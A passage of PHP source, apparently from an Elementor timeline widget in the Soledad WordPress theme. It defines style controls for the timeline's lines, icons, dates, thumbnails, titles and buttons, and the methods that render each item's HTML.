					'{{WRAPPER}} .penci-biggrid-wrapper .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'item_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main, {{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin',
			]
		);

		$this->add_responsive_control(
			'item_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin'  => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'item_between_spacing',
			[
				'label'      => esc_html__( 'Spacing Between Items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main-container' => 'padding-bottom: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_lines',
			[
				'label' => esc_html__( 'Lines', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'timeline_line_color',
			[
				'label'     => esc_html__( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-item:first-child .penci-tiline-item-main-wrapper .penci-tiline-line:before' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'timeline_line_width',
			[
				'label'     => __( 'Line Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 20,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-width: {{SIZE}}{{UNIT}};',
				],
			]
		);
		
		$this->add_control(
			'timeline_line_border_type',
			[
				'label'     => __( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'dashed',
				'options'     => [
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
					'ridge'  => esc_html__( 'Ridge', 'soledad' ),
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-style: {{VALUE}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_icon',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_icon_style' );

		$this->start_controls_tab(
			'tab_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'background-color: {{VALUE}};--pcaccent-cl: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'icon_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-icon span'
			]
		);

		$this->add_responsive_control(
			'icon_width',
			[
				'label'     => __( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'     => __( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 35,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span i, {{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'font-size: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-icon span',
			]
		);

		$this->add_responsive_control(
			'icon_border_radius',
			[
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'%' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'default'   => [
					'size' => 50,
					'unit' => '%',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'border-radius: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon:hover, {{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'color: {{VALUE}} !important;',
				],
			]
		);

		$this->add_control(
			'icon_hover_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_date',
			[
				'label' => esc_html__( 'Date', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'date_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'date_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'date_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-tiline .penci-tiline-date span',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'date_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'date_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'date_typography',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-date',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'date_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-date span',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_image',
			[
				'label'     => esc_html__( 'Thumbnail', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_image' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'image_ratio',
			[
				'label'     => esc_html__( 'Image Height/Ratio', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 50,
						'max'  => 500,
						'step' => 5,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail img' => 'height: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before'  => 'padding-top: {{SIZE}}%;',
				],
			]
		);

		$this->add_control(
			'image_opacity',
			[
				'label'     => esc_html__( 'Opacity', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 1,
				],
				'range'     => [
					'px' => [
						'min'  => 0.1,
						'max'  => 1,
						'step' => 0.1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail img' => 'opacity: {{SIZE}};',
					'{{WRAPPER}} .penci-bgitem .penci-image-holder'         => 'opacity: {{SIZE}};',
				],
			]
		);

		$this->add_responsive_control(
			'image_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .pcbg-thumb'                           => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'image_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail,{{WRAPPER}} .pcbg-thumb',
			]
		);

		$this->add_responsive_control(
			'image_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-thumbnail, {{WRAPPER}} .pcbg-thumb' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => 'yes',
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *'            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title a:hover'            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'title_bg_color',
				'selector'       => '{{WRAPPER}} .penci-tiline .penci-tiline-title *, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_responsive_control(
			'title_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'title_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%', 'em' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-title *'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-title, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-title a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_meta',
			[
				'label'     => esc_html__( 'Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_meta' => 'yes',
				],
			]
		);

		$this->add_control(
			'meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-meta *' => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span'           => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'meta_linkcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'meta_hvcolor',
			[
				'label'     => esc_html__( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-meta *, {{WRAPPER}} .grid-post-box-meta span',
			]
		);

		$this->add_responsive_control(
			'meta_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-meta, {{WRAPPER}} .grid-post-box-meta' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();
		
		$this->start_controls_section(
			'section_style_category',
			[
				'label'     => esc_html__( 'Categories', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_cat' => 'yes',
				],
			]
		);

		$this->add_control(
			'category_linkcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'category_hvcolor',
			[
				'label'     => esc_html__( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'category_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
			]
		);

		$this->add_responsive_control(
			'category_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .pcbg-above.item-hover' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_excerpt',
			[
				'label'     => esc_html__( 'Excerpt', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_excerpt' => 'yes',
				],
			]
		);

		$this->add_control(
			'excerpt_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-excerpt' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-bgitem .pcbg-pexcerpt'        => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'excerpt_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-excerpt, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt',
			]
		);

		$this->add_responsive_control(
			'excerpt_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-excerpt, {{WRAPPER}} .penci-bgitem .pcbg-pexcerpt' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_readmore',
			[
				'label'     => esc_html__( 'Readmore Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_readmore' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'tabs_readmore_style' );

		$this->start_controls_tab(
			'tab_readmore_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'readmore_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore svg'                              => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'readmore_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'readmore_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->add_control(
			'readmore_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'readmore_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->add_responsive_control(
			'readmore_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'readmore_spacing',
			[
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore'                                  => 'margin-top: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn' => 'margin-top: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'readmore_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-readmore, {{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_readmore_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'readmore_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover svg'                              => 'fill: {{VALUE}} !important;',
				],
			]
		);

		$this->add_control(
			'readmore_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'readmore_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'readmore_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-readmore:hover'                                  => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	public function render_excerpt( $item = [] ) {
		
		if ( ! $this->get_settings( 'show_excerpt' ) ) {
			return;
		}
		?>
		<div class="penci-tiline-excerpt">
			<?php echo do_shortcode( $item['timeline_text'] ); ?>
		</div>
		<?php
	}

	public function render_readmore( $item = [] ) {

		if ( ! $this->get_settings( 'show_readmore' ) ) {
			return;
		}

		$settings = $this->get_settings_for_display();

		$readmore_link = $item['timeline_link'];

		$this->add_render_attribute(
			[
				'timeline-readmore' => [
					'href'  => esc_url( $readmore_link ),
					'class' => [
						'penci-tiline-readmore'
					],
				]
			],
			'',
			'',
			true
		);

		if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
			// add old default
			$settings['icon'] = 'fas fa-arrow-right';
		}

		$migrated = isset( $settings['__fa4_migrated']['button_icon'] );
		$is_new   = empty( $settings['icon'] ) && Icons_Manager::is_migration_allowed();

		?>
        <a <?php $this->print_render_attribute_string( 'timeline-readmore' ); ?>>
			<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>

			<?php if ( $settings['button_icon']['value'] ) : ?>
                <span class="penci-button-icon-align-<?php echo esc_attr( $settings['icon_align'] ); ?>">

					<?php if ( $is_new || $migrated ) :
						Icons_Manager::render_icon( $settings['button_icon'], [
							'aria-hidden' => 'true',
							'class'       => 'fa-fw'
						] );
					else : ?>
                        <i class="<?php echo esc_attr( $settings['icon'] ); ?>" aria-hidden="true"></i>
					<?php endif; ?>

				</span>
			<?php endif; ?>
        </a>
		<?php

	}

	public function render_image( $item = [] ) {

		if ( ! $this->get_settings( 'show_image' ) ) {
			return;
		}

		$image_url = ( $item['timeline_image']['url'] ) ?: '';
		$title     = $item['timeline_title'];

		if ( $image_url ) {
			?>
            <div class="penci-tiline-thumbnail">
                <img src="<?php echo esc_url( $image_url ); ?>" alt="<?php echo esc_html( $title ); ?>">
            </div>
			<?php
		}
	}

	public function render_title( $item = [] ) {

		if ( ! $this->get_settings( 'show_title' ) ) {
			return;
		}

		$settings = $this->get_settings_for_display();

		$title_link = $item['timeline_link'];
		$title      = $item['timeline_title'];

		$this->add_render_attribute( 'penci-tiline-title', 'class', 'penci-tiline-title', true );

		?>
        <<?php echo esc_attr( $settings['title_tags'] ); ?>
		<?php $this->print_render_attribute_string( 'penci-tiline-title' ); ?>>
		<?php if ( $settings['title_link'] ) : ?>
            <a href="<?php echo esc_url( $title_link ); ?>" title="<?php echo esc_html( $title ); ?>">
				<?php echo esc_html( $title ); ?>
            </a>
		<?php else : ?>
            <span>
					<?php echo esc_html( $title ); ?>
				</span>
		<?php endif; ?>
        </<?php echo esc_attr( $settings['title_tags'] ); ?>>
		<?php

	}

	public function render_meta( $align, $item = [] ) {

		if ( ! $this->get_settings( 'show_meta' ) ) {
			return;
		}

		?>
        <ul class="penci-tiline-meta">
			<li>
				<?php echo esc_html( $item['timeline_date'] ); ?>
            </li>
        </ul>
		<?php

	}

	public function render_item( $align, $item = [] ) {
		?>
        <div class="penci-tiline-item-main elementor-repeater-item-<?php echo isset( $item['_id'] ) ? esc_attr( $item['_id'] ) : ''; ?>">
            <span class="penci-tiline-arrow"></span>

			<?php $this->render_image( $item ); ?>

            <div class="penci-tiline-desc">
				<?php $this->render_title( $item ); ?>
				<?php $this->render_meta( $align, $item ); ?>
				<?php $this->render_excerpt( $item ); ?>
				<?php $this->render_readmore( $item ); ?>
            </div>
        </div>
		<?php

	}

	public function render_date( $align = 'left', $item = [] ) {

		$settings = $this->get_settings_for_display();

		if ( 'post' == $settings['timeline_source'] ) {
			$timeline_date = get_the_date( 'd F Y' );
		} else {
			$timeline_date = isset( $item['timeline_date'] ) ? $item['timeline_date'] : '';
			$timeline_date = isset( $item['timeline_subtitle'] ) ? $item['timeline_subtitle'] : $timeline_date;
		}

		?>
        <div class="penci-tiline-item penci-tiline-item-date-wrap <?php echo $align; ?>">
            <div class="penci-tiline-date">
				<span>
					<?php echo esc_html( $timeline_date ); ?>
				</span>
            </div>
        </div>
		<?php

	}

	function render_post_format() {

		$this->add_render_attribute( 'timeline-icon', 'class', 'penci-tiline-icon' );

		?>
